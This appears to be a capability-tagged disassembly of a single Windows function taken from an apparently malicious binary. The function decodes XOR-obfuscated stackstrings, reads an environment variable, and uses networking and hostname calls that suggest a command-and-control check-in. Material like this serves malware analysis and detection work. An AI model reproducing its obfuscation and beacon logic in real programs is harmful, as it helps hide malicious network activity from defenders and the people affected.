Function at 0x140009830
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x14008c118]
xor rax, rsp
mov qword [rsp + 0x128], rax
mov rdi, rcx
mov qword [rsp + 0x80], rcx
xor ebx, ebx
mov dword [0x14008ca98], 3
cmp qword [0x14008c9c8], rbx
jne 0x1400098eb
mov dword [rsp + 0x80], 0x392a2726
mov dword [rsp + 0x84], 0x346f2639
mov dword [rsp + 0x88], 0x373334
mov byte [rsp + 0x8c], 1
nop word [rax + rax]
lea eax, [rbx + 0x49]
xor byte [rsp + rbx + 0x80], al
inc rbx
cmp rbx, 0xb
jb 0x1400098b0
mov byte [rsp + 0x8c], 0
mov edx, 5
lea rcx, [rsp + 0x80]
call fcn.140014320
mov byte [0x14008c911], 1
xor al, al
jmp 0x14000a2d6
mov dword [rsp + 0x70], 0x3e2e393c
mov dword [rsp + 0x74], 0x35222f23
mov word [rsp + 0x78], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 8
jb 0x140009910
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140009952
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.140002ad0
nop
mov qword [rsp + 0xb0], rbx
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
mov ecx, 8
call fcn.14006ab20
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1400099ab
mov rcx, rax
call fcn.140013c70
nop
mov ecx, 0x1024
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x1024
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov byte [0x14008c910], 0
xor r8d, r8d
lea rdx, [0x14006f36b]
lea rcx, [0x14008c918]
call fcn.140004040
mov dword [rsp + 0x38], 0x382a380b
mov dword [rsp + 0x3c], 0x1002f3b
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 6
jb 0x140009a00
mov byte [rsp + 0x3f], 0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], 6
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x50], eax
movzx eax, word [rsp + 0x3c]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x56], 0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.140015330
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009a62
mov r8, qword [rax]
mov dword [rsp + 0x48], 0x253f2928
mov dword [rsp + 0x4c], 0x1002022
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 6
jb 0x140009a80
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009aee
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ae9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ae9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140009b47
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [0x14008c9f8]
lea rcx, [rsp + 0x90]
call fcn.140015330
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009b68
mov r8, qword [rax]
mov dword [rsp + 0x38], 0x243f3f28
mov dword [rsp + 0x3c], 0x2b2712
mov byte [rsp + 0x40], 1
mov rcx, rbx
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 7
jb 0x140009b80
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009bee
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009be9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [0x14008c9d8]
lea rcx, [rsp + 0xd0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009c24
mov r8, qword [rax]
mov dword [rsp + 0x50], 0x243f3f28
mov dword [rsp + 0x54], 0x393b2028
mov dword [rsp + 0x58], 0x3d273332
mov dword [rsp + 0x5c], 0x100383a
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0xe
jb 0x140009c50
mov byte [rsp + 0x5f], 0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009cbe
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009cb9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
mov rdx, rdi
lea rcx, [rsp + 0xd0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009cf0
mov r8, qword [rax]
mov dword [rsp + 0x38], 0x382a380b
mov dword [rsp + 0x3c], 0x1002f3b
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 6
jb 0x140009d10
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009d7e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [0x14008c998]
lea rcx, [rsp + 0xd0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009db4
mov r8, qword [rax]
mov dword [rsp + 0x38], 0x29382525
mov word [rsp + 0x3c], 0x3f
mov byte [rsp + 0x3e], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 5
jb 0x140009dd0
mov byte [rsp + 0x3e], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009e3e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea r15, [rsp + 0x100]
mov rdi, qword [rsp + 0x100]
mov r13, qword [rsp + 0x118]
cmp r13, 0x10
cmovae r15, rdi
movabs rsi, 0x7fffffffffffffff
mov r14, qword [rsp + 0x110]
cmp r14, rsi
ja 0x14000a303
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
cmp r14, 0x10
jae 0x140009eb1
mov qword [rsp + 0x60], r14
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r15
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140009ef8
mov rax, r14
or rax, 0xf
cmp rax, rsi
ja 0x140009ecc
mov rsi, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb rsi, rcx
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x50]
call fcn.140001d40
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140009f1c
mov r8, qword [rax]
mov dword [rsp + 0x48], 0x3e2e3920
mov word [rsp + 0x4c], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 4
jb 0x140009f30
mov byte [rsp + 0x4d], 0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xb0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140009f9e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009f99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rcx, [rsp + 0xb0]
call fcn.140012ee0
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rbx
inc r12
cmp byte [rax + r12], 0
jne 0x140009fc3
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140002ad0
mov dword [rsp + 0x38], 0x63223a28
mov word [rsp + 0x3c], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 4
jb 0x14000a000
mov byte [rsp + 0x3d], 0
mov dword [rsp + 0x50], 0x3e3e2b3a
mov dword [rsp + 0x54], 0x312d2022
mov dword [rsp + 0x58], 0x3b307c3f
mov word [rsp + 0x5c], gethostname
mov byte [rsp + 0x5e], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x14000a040
mov byte [rsp + 0x5e], 0
xor eax, eax
mov word [rsp + 0x48], ax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov rbx, qword [rsp + 0x70]
mov r9, rbx
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x48]
call fcn.14000fe40
test al, al
jne 0x14000a132
mov byte [0x14008c911], 1
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14000a0db
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a273
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
cmp r13, 0x10
jb 0x14000a12b
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000a123
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a2c3
mov rcx, rdi
call fcn.14006ab5c
xor al, al
jmp 0x14000a2d6
lea rax, str.Req_IDNF
cmp rbx, rax
jne 0x14000a1e3
mov byte [0x14008c911], 1
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14000a18c
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a273
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
cmp r13, 0x10
jb 0x14000a1dc
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000a1d4
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a2c3
mov rcx, rdi
call fcn.14006ab5c
xor al, al
jmp 0x14000a2d6
xor edx, edx
mov r8d, 0x1024
mov rcx, qword [0x14008ca60]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
mov r8, qword [0x14008ca60]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [r8], al
lea rdx, [rdx + 1]
lea r8, [r8 + 1]
test al, al
jne 0x14000a210
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x80]
call fcn.14000a310
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14000a27f
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a27a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a27a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
cmp r13, 0x10
jb 0x14000a2d2
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000a2ca
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a2ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006ab5c
mov al, 1
jmp 0x14000a2d6
mov rcx, qword [rsp + 0x128]
xor rcx, rsp
call fcn.14006abf0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140001ac0
int3